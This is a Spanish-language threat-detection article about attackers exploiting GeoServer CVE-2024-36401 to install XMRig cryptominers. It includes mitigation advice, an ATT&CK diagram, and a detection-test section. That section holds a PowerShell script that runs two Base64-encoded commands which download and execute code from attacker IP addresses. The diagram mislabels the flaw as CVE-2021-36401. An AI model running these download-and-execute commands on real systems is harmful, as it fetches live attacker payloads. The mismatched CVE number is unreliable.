SOC Prime Bias: Crítico

23 Dic 2025 13:38

GeoServer Bajo Ataque: Campañas de Malware Minero de Criptomonedas

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
GeoServer Bajo Ataque: Campañas de Malware Minero de Criptomonedas
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

Los actores de amenazas están explotando la vulnerabilidad de ejecución remota de código de GeoServer CVE-2024-36401 para desplegar mineros de criptomonedas y NetCat en servidores no parcheados. La actividad se basa en PowerShell, Bash y certutil para descargar e iniciar XMRig desde múltiples dominios y direcciones IP maliciosas. Se utilizan varios scripts de descarga y droppers, comúnmente empaquetados en archivos ZIP y persistidos como servicios a través de NSSM. El objetivo principal es apoderarse de recursos de computación para la minería no autorizada.

Investigación

El informe detalla tres variantes (A, B, C) que utilizan PowerShell codificado, fetchers basados en Bash, y certutil para recuperar cargas útiles de mineros desde pool.supportxmr.com y múltiples subdominios aaaaaaaaa.cyou. Los mecanismos de entrega incluyen scripts por lotes, paquetes ZIP y un descargador personalizado llamado systemd, junto con credenciales de autenticación HTTP básica. Los analistas extrajeron indicadores clave—URLs, direcciones IP, y nombres de archivos—para apoyar la detección y alcance.

Mitigación

Aplique parches de GeoServer que abordan CVE-2024-36401 y mantenga las implementaciones en la última versión compatible. Bloquee las conexiones salientes a los pools de minería conocidos y a la infraestructura relacionada, y monitoree ejecuciones sospechosas de PowerShell o Bash codificados. Limite el uso de certutil para contextos no administrativos y haga cumplir la lista de aplicaciones permitidas para evitar servicios no autorizados instalados a través de NSSM.

Respuesta

Implemente detecciones para las líneas de comando observadas, hashes e indicadores de red. Aísle los hosts afectados, erradique los servicios de minería y artefactos de persistencia, y realice un barrido forense para detectar cualquier carga útil secundaria. Rote credenciales expuestas y requiera autenticación multifactorial para acceso administrativo.

«graph TB %% Class definitions classDef action fill:#ffcc99 %% Nodos de Acción/Técnica classDef builtin fill:#e0e0e0 %% Nodos de herramientas y utilidades integradas classDef malware fill:#ff9999 %% Nodos de malware %% Definiciones de nodos tech_initial_access[«<b>Técnica</b> – <b>T1210 Explotación de Servicios Remotos</b><br/>Descripción: Explotar CVE-2021-36401 en GeoServer para ejecución remota de código»] class tech_initial_access action tool_geoserver[«<b>Herramienta</b> – <b>Nombre</b>: GeoServer<br/><b>Vulnerabilidad</b>: CVE-2021-36401»] class tool_geoserver builtin tech_execution_ps[«<b>Técnica</b> – <b>T1059.001 PowerShell</b><br/>Descripción: Ejecutar comandos PowerShell codificados para descargar e iniciar scripts maliciosos»] class tech_execution_ps action tool_powershell[«<b>Herramienta</b> – <b>Nombre</b>: PowerShell»] class tool_powershell builtin tech_obfuscation[«<b>Técnica</b> – <b>T1027 Archivos o Información Ofuscados</b><br/>Descripción: Codificar en Base64 cargas útiles entregadas a través de certutil y Bash»] class tech_obfuscation action tool_certutil[«<b>Herramienta</b> – <b>Nombre</b>: certutil»] class tool_certutil builtin tool_bash[«<b>Herramienta</b> – <b>Nombre</b>: Bash»] class tool_bash builtin tech_deobfuscation[«<b>Técnica</b> – <b>T1140 Desofuscar/Decodificar Archivos o Información</b><br/>Descripción: Decodificar cargas útiles en Base64 en el host antes de la ejecución»] class tech_deobfuscation action tech_defense_evasion[«<b>Técnica</b> – <b>T1562 Deterioro de Defensas</b><br/>Descripción: Desactivar Windows Defender y añadir exclusiones de archivos/rutas»] class tech_defense_evasion action tool_windows_defender[«<b>Herramienta</b> – <b>Nombre</b>: Windows Defender»] class tool_windows_defender builtin tech_persistence[«<b>Técnica</b> – <b>T1543.002 Crear o Modificar Procesos del Sistema: Servicio Systemd</b><br/>Descripción: Usar NSSM para instalar XMRig como un servicio persistente»] class tech_persistence action tool_nssm[«<b>Herramienta</b> – <b>Nombre</b>: NSSM (Non-Sucking Service Manager)»] class tool_nssm builtin malware_xmrig[«<b>Malware</b> – <b>Nombre</b>: XMRig<br/><b>Propósito</b>: Minería de criptomonedas»] class malware_xmrig malware tech_impact[«<b>Técnica</b> – <b>T1496.001 Secuestro de Cómputo</b><br/>Descripción: Secuestrar ciclos de CPU para minar criptomonedas»] class tech_impact action tech_indirect_execution[«<b>Técnica</b> – <b>T1202 Ejecución de Comandos Indirectos</b><br/>Descripción: PowerShell lanza scripts adicionales a través de Bash y Netcat»] class tech_indirect_execution action tool_netcat[«<b>Herramienta</b> – <b>Nombre</b>: Netcat»] class tool_netcat builtin %% Conexiones tool_geoserver u002du002d>|explotado para| tech_initial_access tech_initial_access u002du002d>|habilita| tech_execution_ps tech_execution_ps u002du002d>|usa| tool_powershell tech_execution_ps u002du002d>|descarga vía| tool_certutil tech_execution_ps u002du002d>|invoca| tool_bash tech_execution_ps u002du002d>|invoca| tool_netcat tool_certutil u002du002d>|entrega cargas útiles codificadas a| tech_obfuscation tool_bash u002du002d>|ejecuta cargas útiles codificadas para| tech_obfuscation tech_obfuscation u002du002d>|requiere| tech_deobfuscation tech_deobfuscation u002du002d>|prepara el entorno para| tech_defense_evasion tech_defense_evasion u002du002d>|desactiva| tool_windows_defender tech_defense_evasion u002du002d>|lleva a| tech_persistence tech_persistence u002du002d>|usa| tool_nssm tool_nssm u002du002d>|instala| malware_xmrig malware_xmrig u002du002d>|realiza| tech_impact tech_execution_ps u002du002d>|activa| tech_indirect_execution tech_indirect_execution u002du002d>|usa| tool_bash tech_indirect_execution u002du002d>|usa| tool_netcat tech_indirect_execution u002du002d>|facilita| malware_xmrig «

Flujo del Ataque

Ejecución de Simulación

Prerequisito: Debe haberse pasado la Verificación de Línea de Base y Telemetría.

Razonamiento: Esta sección detalla la ejecución precisa de la técnica adversaria (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección.

  • Narrativa y Comandos de Ataque:
    Un atacante ha obtenido una carga útil maliciosa en Base64 que descarga un archivo de configuración de GeoServer vulnerable, lo ejecuta, y luego deja caer un minero de criptomonedas. Para evadir la detección simple de bloqueo de scripts, el atacante utiliza el -enc con un string pre-codificado (uno de los dos IOCs conocidos). El atacante ejecuta la carga útil localmente en un host Windows comprometido, causando una creación de proceso de powershell.exe que incluye exactamente el string Base64 que la regla observa.

  • Script de Prueba de Regresión:

     # -------------------------------------------------
      #  Script de regresión para activar la regla Sigma
      # -------------------------------------------------
      # Carga útil 1 (coincide con el primer IOC)
      $b64_1 = 'SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMjIwLjg0LjEwNy42OS9qcy9ndy50eHQnKQA='
      powershell.exe -enc $b64_1
    
      # Carga útil 2 (coincide con el segundo IOC)
      $b64_2 = 'SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8xMTkuMTk0LjE1My4zMTo4MDgwL2ljb24vanMvd2kudHh0Jyk='
      powershell.exe -enc $b64_2
  • Comandos de Limpieza:

     # -------------------------------------------------
      #  Limpieza – terminar cualquier carga útil persistente de PowerShell
      # -------------------------------------------------
      Get-Process -Name powershell -ErrorAction SilentlyContinue |
        Where-Object { $_.StartInfo.Arguments -match '-enc' } |
        Stop-Process -Force